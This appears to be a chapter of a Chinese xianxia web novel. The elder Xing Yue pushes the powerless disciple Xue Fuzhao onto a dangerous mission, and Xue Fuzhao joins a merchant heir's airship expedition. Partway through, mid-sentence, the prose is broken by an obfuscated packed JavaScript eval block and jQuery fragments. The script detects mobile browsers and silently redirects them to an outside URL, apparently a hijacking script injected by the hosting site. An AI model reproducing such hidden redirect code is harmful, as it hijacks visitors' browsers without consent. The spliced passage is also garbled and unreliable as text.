这日在太学楼外，一个面生的弟子拦住了她。


    “薛师姐，幸月长老请你去聆音堂。”


    薛拂朝抬眼，是个讨喜的少女，有些印象，名唤巫马璇，幸月长老座下二弟子。她想起南絮提过，聆音堂是玉女殿的情报中枢，执掌者幸月长老，是个极厉害的角色。


    此刻找她，绝非好事。


    但她没有拒绝的余地。


    聆音堂建在内殿深处，是一座三层小楼，檐角挂着无数风铃，风过时叮咚作响。堂内陈设简单，唯有一面巨大的水镜悬在中心，镜中光影流转，映出青云洲各处的景象。


    幸月长老坐在水镜前，眸色微深。


    她看起来很年轻，不过三十许，气质却沉稳如古井。听见脚步声，她抬起头，目光落在薛拂朝身上。


    “找你，也是迫不得已。”


    开门见山，连寒暄都省了。


    薛拂朝垂眼行礼：“长老请吩咐。”


    “几日前，聆音堂收到襄宝郡的求救讯息。”幸月指着水镜，镜中画面变换，现出一处被迷雾笼罩的山谷，“弟子前往探查，皆音讯全无，进去的人生死未卜，此地诡谲异常。”


    薛拂朝静静听着。


    “本不该找你，但南絮昨日已带人前往宁阳城筹备仙门遴选，殿内亲传唯你身份最高。”幸月顿了顿，“你空降亲传之位，数月未能引灵，殿内非议颇多。此事是你立威信的好机会，去或不去，由你定夺。”


    ——昨日南絮还问薛拂朝要不要同去，薛拂朝此时不宜与薛邑碰面便拒绝了，没成想躲得了初一逃不过十五，还是个更危险的境地。


    幸月长老此话说得委婉，实则薛拂朝没有选择的余地。


    不去，就是坐实废人之名，等着被逼退位。去了，或许还有一线生机，虽然这生机，渺茫得可怜。


    不过，薛拂朝也可趁此机会离开玉女殿，倒也算好事一桩。


    薛拂朝露出为难之色：“可弟子毫无修为，与凡人无异。若命丧于此，师父出关怕是会伤心……长老不若给弟子一些东西防身保命，届时回来我让师父还你。”


    她抬眼看幸月，眼神恳切，仿佛瑶华与她亲近得不行。


    幸月嘴角微抽。


    这话里的意思再明白不过，这是在拿瑶华压她。


    她沉吟片刻，忍痛掏出两瓶丹药、两张符箓和一支玉簪：“回春丹、解毒丸各一瓶。符箓是诛神府宿扶道君所绘的传送符与隐身符。玉簪是换羽移宫的法器，危急时可助你脱身。”


    薛拂朝双手接过，笑容真诚：“长老真是古道热肠。”


    幸月：“……”


    她看着薛拂朝利落地收起东西，不免有些心梗。


    这些可不是什么便宜物件！单说那宿扶道君亲手绘制的符箓便价值万玉了。


    “求救者是一名散修。”幸月稳住心神，继续说正事，“他说落入一个叫双生宫的地方，那里专诱男子，蒸人献祭，生挖仙根，行事与邪修无异。”


    薛拂朝挑眉：“既如此凶险，为何派弟子前往？长老你们亲自去岂不是更稳妥？”


    “双生宫只残害男子，女子应无危险。”幸月说得轻巧，“再者，玉女殿执行任务常与其他宗门同行，若遇上问剑山弟子，自可保你安全。”


    那那些生死未卜的弟子怎么个事呢？薛拂朝不禁想翻眼皮。


    这是要她去送死，还要死得合情合理。若她真死在双生宫，瑶华怪罪下来，幸月大可推说已赠诸多保命之物，是她自己实力不济。


    好算计。


    “弟子明白了。”薛拂朝行礼告退。


    此时幸月又瞧着她意味深长道：“可要收好灵铛，否则聆音堂误以为你失踪，可要派执法司弟子去寻你了。”


    薛拂朝应了声是，转身聆音堂，步伐从容，背脊挺直。直到走出很远，才缓缓摊开掌心，那里已有深深的指甲印。


    幸月看着是在为她考虑，实际上只让她一人前去，更以灵铛威胁她。


    可为什么？


    她才入殿几月，与人无冤无仇，除了亲传这个身份，毫无价值。


    怎么做个废人还要被追着杀？！


    怎么南湘不早点找她立赌呢……


    ——


    薛拂朝背上青玉琴揣着幸月给的破烂便出了玉女殿。


    玉女殿四周的海面上雾气未散，雪莲在雾中若隐若现，美得恍若幻境。仙鹤振翅掠过，留下一串清唳。


    薛拂朝踏上岸，头也不回。


    走了约莫半里，她停下脚步，一屁/股坐在一块大石头上。她要去的襄宝郡，位于青云洲以南的和宁府，距此十万八千里。


    没有仙玉，坐不了传送阵。没有仙舟，她走到时双生宫都不必她了。


    薛拂朝掏出那张传送符瞧了瞧。


    符纸触/手温润，上面朱砂符文流转着暗金光泽。这是保命的东西，用一张少一张，她将符箓收回袖中，转身朝玉菩城走去。


    不用。


    她偏不让他们如意。襄宝郡死多少人，与她何干？那些人的命是命，她的命就不是命？


    既逼她入局，就别怪她阳奉阴违。


    也正好，去寻回母亲遗剑。只是似乎，薛家也在南方。


    ——


    前方的玉菩城是玉女殿下辖第一|大城，繁华喧嚣，灵气充沛。城内街道纵横，店铺林立，修士凡人摩肩接踵，叫卖声此起彼伏。


    薛拂朝一身亲传宗服在人群中格外显眼。


    不时有修士投来目光，或敬畏，或好奇，或轻蔑。


    玉女殿亲传这个身份，在玉菩城就是金字招牌。可在察觉她毫无修为甚至仙根破碎时，敬畏好奇就会自然而然的变成轻蔑鄙夷。


    弱与废便是原罪。


    她漫无目的地闲逛，像个初入人世的世家小姐，看什么都新鲜。实则暗暗留意着周遭的一切，并寻找今夜落脚之处。


    没一会儿薛拂朝就察觉到不对劲儿来，总觉得有尾巴在跟着自己。


    她笑了笑，转身走进一条小巷。


    巷子幽深，两旁是高墙，墙上爬满青藤。走到一半，前方忽然转出一个人。


    是个年轻妇人，容貌秀丽，衣着朴素，眼中却闪着精|光。


    “这位仙子，可是要出远门？”


    薛拂朝停下脚步：“有事？”


    妇人笑容满面：“妾身是福泰商行的管事娘子，姓桂。我们少东家正在招募护卫，前往和宁府。仙子若有意，报酬丰厚。”


    薛拂朝挑眉：“你说我？当护卫？”


    “仙子从玉女殿方向来，又着亲传服饰，定非等闲之辈。”桂娘子说得头头是道，“妾身在玉菩城多年，这点眼力还是有的。”


    薛拂朝笑了。


    这可太巧了。


    “你们少东家招护卫，为何找我？”薛拂朝故作疑惑，“你想必也瞧见了，我的仙根是碎的。”


    桂娘子左顾右盼后压低声音：“我懂的，在外行走嘛，少不了要藏拙。玉女殿是什么地方？不可能真收仙根破碎的嘛，仙子说笑了。”


    “……”薛拂朝盯着她看了半晌，忽然点头：“带路吧。”


    台子都搭好了，她不去瞧瞧也太可惜了。


    ——


    福泰酒楼坐落在城中心，七层高楼，飞檐翘角，气派非常。楼前车马如龙，修士进进出出，腰间大多悬着三足金蟾玉牌。


    桂娘子引着薛拂朝入内，直奔柜台。


    掌柜的是个胖胖的中年人，姓孔，正低头算账。听见桂娘子说明来意，他抬起头，仔细打量薛拂朝。


    目光在她身上扫过，尤其在丹府处停留片刻，眉头渐渐皱起。


    “桂娘子，这位仙子……”孔掌柜欲言又止，到底谁护谁？


    桂娘子将他拉到一旁，小声嘀咕。薛拂朝耳力极佳，将那些话听得清清楚楚。


    “我问过执法司的弟子，瑶华仙子确实新收了徒……她身上定是带了遮掩气机的法器……带她去见少东家，验验就知……”


    薛拂朝垂眼，掩去眸中笑意。


    是误打误撞最好，省得她费心应付。不是，她寻机会跑了便是。


    孔掌柜与桂娘子商议完毕，转身时已换了副笑脸：“仙子请随我来，少东家在七楼。”


    他引着薛拂朝走向一座名唤云舆的机关，此乃机关道修士打造的升降机关，四四方方的小房间，进入后拉动机关，便可直


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17062593|195094||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    上直下。


    云舆缓缓上升。


    透过云窗，可见每一层都陈设奢华，珍宝琳琅。薛拂朝看着那些流光溢彩的宝物，忽然想起薛家库房。


    母亲还在时，常带她去库房挑东西。彼时薛邑常说，阿朝是薛家嫡女，合该用最好的。后来母亲病逝，库房的钥匙落到那个女人手里，她再也没进去过。


    不过无妨，她先记着，迟早拿回来。


    云舆停在七楼。


    云舆的门打开，眼前是一片开阔的厅堂，一应陈设也是极尽奢华。地上铺着极其难猎到的雪狐族制成的皮毯，墙上挂着名家字画，博古架上摆满奇珍异宝。


    福泰商行的财力可见一斑。


    厅中坐着两个人。


    主位上的少年约莫十七八岁，锦衣玉冠，容貌俊美，只是眉宇间带着一股倨傲之气。他高昂着头，看人时只用眼角余光。薛拂朝心领神会，这应该便是福泰商行少东家，阙宿。


    而坐在他下首的，竟是南湘。


    薛拂朝脚步一顿。


    南湘看见她，霍然起身：“你怎么在这？！”


    阙宿眯起眼：“你们认识？”


    “回少东家，这位是我同门师姐，薛拂朝。”南湘咬牙切齿，“瑶华师叔的亲传弟子。”


    阙宿的目光在薛拂朝身上扫过，尤其在丹府处停留许久，忽然笑了：“瑶华仙子的亲传，竟然毫无修为？当真教人意外得很呢。”


    语气里的讥讽毫不掩饰。


    薛拂朝也不恼，反而盈盈一礼：“毫无修为不代表没有任何用处，少东家试试便知我的本事。”


    南湘道：“近来邪事频发，此行不适合你。薛拂朝，你速回玉女殿！”


    南湘恨不得立刻将薛拂朝丢回玉女殿，与凡人无异来凑什么热闹？简直是找死。


    “回不去了。”薛拂朝摊手，“幸月长老命我前往和宁府，正好与你们同路。少东家若不嫌弃，让我同行可好？”


    阙宿盯着她看了半晌，或者是她身上的亲传服饰，忽然道：“让你同行可以，但我有个条件。”


    “请讲。”


    “若这一路你未曾出力，报酬分文不给。”


    薛拂朝：“……”


    南湘：“……”


    真抠。


    孔掌柜以袖掩面，不忍直视，自家公子能不能少犯病！


    堂堂福泰商行少东家，抠门到这种地步，也是罕见。


    薛拂朝神色不变，笑得温和：“少东家真是心善，我感激不尽。”


    阙宿冷哼一声，挥挥手：“都苏，带她下去。”


    门外侍卫应声而入。


    薛拂朝跟着侍卫离开，走到门口时，南湘追了出来。


    “幸月长老让你来你就来？”南湘压低声音，语气恨铁不成钢，“你难道看不出这是个局？”


    “看出来了。”薛拂朝坦然道。


    “那你为何……”


    “因为我没有选择。”薛拂朝打断她，笑容淡去，“南湘师妹，这世间不是所有人，都有任性的资本。”


    南湘怔住，她忽然想起南絮的话。


    “有些位置，不是你想坐就能坐的。”


    南湘攥紧拳头，转身回了厅堂。


    ——


    两日后，云梭启程。


    仙舟悬浮在玉菩城上空，船身流光溢彩，阵纹流转。修士们陆续飞身上船，唯独薛拂朝站在原地，仰头望着舟底。


    阙宿这杀千刀的干啥要把仙舟悬在半空？她顶着破碎仙根也不好自己飞上去！要不拿个什么东西去装一下飞行法器？


    她站在原地许久，还是南湘看不下去，一道素练卷来，将她带上甲板。


    没想到南湘竟然这么热心，这么瞧人也不坏嘛。


    “多谢师妹。”薛拂朝笑眯眯道。


    南湘哼了一声，别过脸去。


    云梭破云而行，速度极快。薛拂朝选了间舱房，布置简洁，设有聚灵阵。她走至窗边，看着下方山河大地飞速后退，云雾在窗外翻涌。


    薛拂朝闭上眼，丹府中淡紫气息缓缓流转。


    识海深处却似有什么声音在低语，薛拂朝眉头一皱，尽量无视那道声音。